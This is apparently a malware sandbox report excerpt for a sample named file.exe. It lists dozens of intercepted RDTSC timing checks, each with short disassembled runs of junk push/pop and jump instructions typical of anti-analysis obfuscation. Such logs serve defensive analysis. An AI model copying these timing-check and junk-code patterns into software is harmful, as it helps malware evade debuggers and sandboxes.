Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEBD08 second address: FEBD18 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jng 00007FC87074E0C6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEBD18 second address: FEBD1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEBD1C second address: FEBD20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF02EC second address: FF02F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF02F4 second address: FF02FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF02FD second address: FF0301 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF0301 second address: FF0305 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF0305 second address: FF030B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF030B second address: FF032E instructions: 0x00000000 rdtsc 0x00000002 jc 00007FC87074E0D6h 0x00000008 push esi 0x00000009 push esi 0x0000000a pop esi 0x0000000b pop esi 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF032E second address: FF033B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF033B second address: FF033F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF033F second address: FF0345 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF0345 second address: FF034B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEFD64 second address: FEFD6C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEFD6C second address: FEFD76 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FC87074E0C6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEFD76 second address: FEFD97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 jc 00007FC870BD8062h 0x0000000f jbe 00007FC870BD8056h 0x00000015 jp 00007FC870BD8056h 0x0000001b push eax 0x0000001c push edx 0x0000001d push esi 0x0000001e pop esi 0x0000001f push ecx 0x00000020 pop ecx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEFD97 second address: FEFD9B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEFEA5 second address: FEFED4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007FC870BD805Eh 0x0000000d popad 0x0000000e pushad 0x0000000f jg 00007FC870BD8056h 0x00000015 jmp 00007FC870BD805Ah 0x0000001a push edi 0x0000001b pop edi 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 pop eax 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF0040 second address: FF0046 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF0046 second address: FF004A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF004A second address: FF004E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF004E second address: FF0058 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFE2D3 second address: FFE2E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jg 00007FC87074E0CEh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFDE4A second address: FFDE4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFDE4E second address: FFDE5C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jnc 00007FC87074E0C6h 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10014BA second address: 10014D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FC870BD8068h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10072F8 second address: 100732D instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FC87074E0C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnl 00007FC87074E0CEh 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jng 00007FC87074E0CAh 0x00000019 pushad 0x0000001a popad 0x0000001b pushad 0x0000001c popad 0x0000001d jmp 00007FC87074E0D0h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100732D second address: 1007333 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1007333 second address: 1007342 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC87074E0CBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100DF33 second address: 100DF43 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC870BD805Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100DF43 second address: 100DF63 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FC87074E0D2h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jo 00007FC87074E0C6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100FC91 second address: 100FCA0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1018022 second address: 101804F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC87074E0CCh 0x00000007 jmp 00007FC87074E0D9h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101804F second address: 10180AF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC870BD8066h 0x00000007 jmp 00007FC870BD8066h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push esi 0x00000011 jmp 00007FC870BD8064h 0x00000016 jmp 00007FC870BD8062h 0x0000001b pop esi 0x0000001c push ebx 0x0000001d push ebx 0x0000001e pop ebx 0x0000001f push edi 0x00000020 pop edi 0x00000021 pop ebx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1016B9D second address: 1016BA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10171B5 second address: 10171B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10171B9 second address: 10171BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10171BD second address: 10171C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10171C8 second address: 10171D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10171D0 second address: 10171E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC870BD805Bh 0x00000009 popad 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10171E6 second address: 10171EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10171EA second address: 1017203 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC870BD8065h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1017203 second address: 1017233 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jmp 00007FC87074E0CEh 0x0000000c pop esi 0x0000000d push ebx 0x0000000e jp 00007FC87074E0C6h 0x00000014 pop ebx 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FC87074E0D0h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1017359 second address: 101735D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101735D second address: 1017361 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1017361 second address: 1017367 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1017367 second address: 1017388 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FC87074E0D8h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101CE53 second address: 101CE57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101CE57 second address: 101CE77 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FC87074E0D8h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101CE77 second address: 101CE7D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101CE7D second address: 101CE81 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102C8F6 second address: 102C92D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jmp 00007FC870BD805Fh 0x0000000c pop edi 0x0000000d pop edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007FC870BD8069h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102C92D second address: 102C937 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102C937 second address: 102C93B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102C93B second address: 102C941 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102C941 second address: 102C947 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102C947 second address: 102C94B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10283A0 second address: 10283D8 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007FC870BD8068h 0x00000008 jmp 00007FC870BD8068h 0x0000000d pop edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10283D8 second address: 1028405 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC87074E0D3h 0x00000007 ja 00007FC87074E0C6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pushad 0x00000012 jne 00007FC87074E0CAh 0x00000018 push edi 0x00000019 pop edi 0x0000001a push edi 0x0000001b pop edi 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1028405 second address: 102842B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC870BD805Bh 0x00000009 jmp 00007FC870BD805Ch 0x0000000e popad 0x0000000f push eax 0x00000010 pushad 0x00000011 popad 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push edi 0x00000016 pop edi 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102842B second address: 102842F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103F8F9 second address: 103F903 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FC870BD8056h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103F903 second address: 103F909 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103F909 second address: 103F90F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105764D second address: 1057652 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1057652 second address: 105766E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC870BD8066h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10564FC second address: 1056500 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1056500 second address: 1056508 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1056508 second address: 1056520 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC87074E0D2h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1056520 second address: 1056524 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1056524 second address: 105652E instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FC87074E0C6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105652E second address: 1056537 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1056962 second address: 1056978 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FC87074E0C6h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jbe 00007FC87074E0CEh 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1056978 second address: 105697C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1056DAC second address: 1056DBD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC87074E0CBh 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1056DBD second address: 1056DD0 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FC870BD805Eh 0x00000008 jc 00007FC870BD8056h 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1056EF0 second address: 1056EF7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1056EF7 second address: 1056F03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FC870BD8056h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1056F03 second address: 1056F37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jmp 00007FC87074E0D9h 0x0000000f jl 00007FC87074E0C6h 0x00000015 push edx 0x00000016 pop edx 0x00000017 popad 0x00000018 push edx 0x00000019 je 00007FC87074E0C6h 0x0000001f pop edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1056F37 second address: 1056F41 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FC870BD805Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105BB73 second address: 105BBDC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 jmp 00007FC87074E0CAh 0x0000000c pop ebx 0x0000000d popad 0x0000000e push eax 0x0000000f pushad 0x00000010 push ecx 0x00000011 jns 00007FC87074E0C6h 0x00000017 pop ecx 0x00000018 pushad 0x00000019 jmp 00007FC87074E0CDh 0x0000001e jmp 00007FC87074E0D2h 0x00000023 popad 0x00000024 popad 0x00000025 nop 0x00000026 mov edx, dword ptr [ebp+122D295Eh] 0x0000002c push dword ptr [ebp+122D29F7h] 0x00000032 pushad 0x00000033 mov esi, ebx 0x00000035 sub edi, dword ptr [ebp+122D3354h] 0x0000003b popad 0x0000003c call 00007FC87074E0C9h 0x00000041 je 00007FC87074E0D4h 0x00000047 push eax 0x00000048 push edx 0x00000049 push edi 0x0000004a pop edi 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105BBDC second address: 105BC2B instructions: 0x00000000 rdtsc 0x00000002 jl 00007FC870BD8056h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jbe 00007FC870BD8062h 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 pushad 0x00000016 jmp 00007FC870BD8069h 0x0000001b jnc 00007FC870BD805Ch 0x00000021 jne 00007FC870BD8056h 0x00000027 popad 0x00000028 mov eax, dword ptr [eax] 0x0000002a push eax 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105BC2B second address: 105BC2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105BC2F second address: 105BC33 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105E5DC second address: 105E5EC instructions: 0x00000000 rdtsc 0x00000002 jo 00007FC87074E0C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105E5EC second address: 105E5F1 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F71A44 second address: F71A48 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F71A48 second address: F71A4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F71A4E second address: F71A54 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F73A2F second address: F73A33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F02A8 second address: 50F02AE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F02AE second address: 50F02B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F02B4 second address: 50F02B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F02B8 second address: 50F02DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC870BD8068h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F02DD second address: 50F02E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F02E1 second address: 50F02E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F02E5 second address: 50F02EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F03C3 second address: 50F03C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110742 second address: 5110748 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110748 second address: 511074C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
